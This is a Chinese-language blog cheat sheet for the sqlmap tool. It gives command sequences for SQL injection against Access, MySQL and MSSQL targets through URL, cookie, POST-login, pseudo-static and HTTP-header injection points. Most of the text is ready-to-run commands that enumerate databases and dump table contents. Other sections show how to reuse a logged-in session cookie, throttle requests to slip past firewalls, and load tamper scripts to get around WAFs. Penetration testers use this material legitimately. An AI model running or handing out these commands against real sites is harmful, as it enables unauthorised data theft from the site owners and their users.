sql注入攻击sqlmap-2

  • 2020 年 3 月 10 日
  • 筆記

sql注入攻击sqlmap-2

cn0sec 2020-02-28

access注入

sqlmap.py -u "url"    ==检测    sqlmap.py -u "url" --tables     ==猜表    sqlmap.py -u "url" --columns -T "表名"       ==猜字段    sqlmap.py -u "url" --dump -T "表名" -C "字段,字段"     ==暴表里面的字段的内容  

Mysql数据注入

sqlmap.py -u url  --privileg  ==查看权限(root什么什么的)    sqlmap.py -u url --is-dba  ==判断是不是root权限    sqlmap.py -u url --dbs   ==获取数据库    sqlmap.py -u url --tables -D "数据库名"     ==获取当中的数据库的表    sqlmap.py -u url --columns -D "数据库名" -T "表名"   ==获取数据库 表中的字段    sqlmap.py -u url --dump -D "数据库名" -T "表名" -C "字段,字段"  ==获取数据库表的字段里的内容  

Cookie注入

注入点:http://xxx.com/1.php?id=9    sqlmap.py -u "http://xxx.com/1.php?id=9" --cookie "id=9" --table --level 2    ==暴表名    sqlmap.py -u "http://xxx.com/1.php?id=9" --cookie "id=9" --columns -T "表名" --level 2  ==暴表的字段    sqlmap.py -u "http://xxx.com/1.php?id=9" --cookie "id=9" --dump -T "表名" -C "字段,字段" --level 2 ==暴表的字段内容  

默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie的参数,当>=3的时候将检查User-agentReferer。 利用sqlmap cookies注入突破用户登录继续注入 先把用户登陆的cookie拿到,可以在收藏夹添加一个链接cookies属性:名字自己取 javascript:alert(document.cookie),需要获取当前cookie的时候, 直接点一下这个链接,然后复制一下弹出对话框 里的cookie值就搞定了

在谷歌浏览器,按F12-->找到Application-->选择其中的Cookies-->最后可以在里面找到对应的值可以了。

sqlmap.py -u http://x.x.x.x/Down.aspx?tid=2 -p tid –dbms mssql –cookie=”info=username=test”  

-p是指指定参数注入

post登陆注入 mssql

sqlmap.py -u "http://xxx.com/Login.asp" --data "tfUName=12345&tfUPass=12345"    sqlmap.py -u "http://xxx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --dbs  ==获取数据库名    sqlmap.py -u "http://xxx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --tables -D "数据库名"   ==列表    sqlmap.py -u "http://xxx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --columns -T "表名" -D "数据库名"  ==暴字段    sqlmap.py -u "http://xxx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --dump --columns -C "字段,字段" -T "表" -D "数据名"  ==暴字段内容  

我们在使用Sqlmap进行post型注入时, 经常会出现请求遗漏导致注入失败的情况。这里分享一个小技巧,即结合burpsuite来使用sqlmap, 用这种方法进行post注入测试会更准确,操作起来也非常容易。

1. 浏览器打开目标地址http:// www.xxx.com /Login.asp  2. 配置burp代理以拦截请求  3. 点击login表单的submit按钮  4. 这时候Burp会拦截到了我们的登录POST请求  5. 把这个post请求复制为txt,然后把它放至sqlmap目录下  6. 运行sqlmap并使用如下命令:`./sqlmap.py -r search-test.txt -p tfUPass`  这里参数-r 是让sqlmap加载我们的post请求rsearch-test.txt, 而用-p指定注入用的参数。  

伪静态注入

注入点:http://xxx.com/Index/view/id/40.html   (注意:要加个* 哪里存在注入就加上 * 号)    sqlmap.py -u http://xxx.com/Index/view/id/40*.html --dbs   ==获取数据库名    sqlmap.py -u http://xxx.com/Index/view/id/40*.html --tables -D "数据名"    ==获取数据库当中的表    sqlmap.py -u http://xxx.com/Index/view/id/40*.html --columns -D "数据名" -T "表名"  ==获取数据库的表中的字段    sqlmap.py -u http://xxx.com/Index/view/id/40*.html --dump -D "数据名" -T "表名" -C "字段,字段" ==获取数据库的表中的字段内容  

请求延时(一般突破防火墙)

第一种方法:sqlmap.py -u url --delay 2   (注意:2是两秒的意思,也就是说2秒访问一次)  第二种方法:sqlmap.py -u url --safe-freq 3 (注意:3是3次的意思)    可以组合使用 sqlmap.py -u url --delay 2 --safe-freq 3  

利用文件来注入

GET /?id=1 HTTP/1.1  Host: www.why25.com    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0    x-forwarded-for: 1*(存在注入)    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8    Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3    Accept-Encoding: gzip, deflate    Cookie: PHPSESSID=109b6bcfd7ec056764c71aa62a4d6638    Connection: keep-alive    Cache-Control: max-age=0    星号(*) 指定注入点  
sqlmap -r c:/s.txt --level 3 --dbms=mysql --risk 1  注意:  --level 是测试等级意思就是说我要更加耐心仔仔细细的加强检测等级3 如果没有level 默认等级是1的  

sqlmap遇到url重写的注入

sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2“  哪里存在注入就加上 * 号  

sqlmap 编码绕waf注入

sqlmap.py -u http://xxx.com/1.php?id=1 -v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”  

在sqlmap 的 tamper目录下有很多space2morehash.py 编码脚本自行加载

sqlmap编码脚本

sqlmap拥有很多功能强力的插件,插件的使用方法: -- tamper “插件名称”

其中常用到的bypass脚本绕过SQLMAP主要两个脚本:  space2hash.py ,对于MYSQL数据库 4.0, 5.0注入  space2morehash.py ,对于MYSQL数据库 >= 5.1.13 和 MySQL 5.1.41 注入  首先确定目标数据库版本,然后选择相应的脚本。  -v 3 --batch --tamper "space2hash.py"  还有其他一些插件:  encodes编码 ——charencode.py  base64编码 —— base64encode.py  替换空格和关键字 —— halfversionedmorekeywords.py  

SQL注入实质就是闭合前一句查询语句,构造恶意语句,恶意语句被代入SQL语句执行。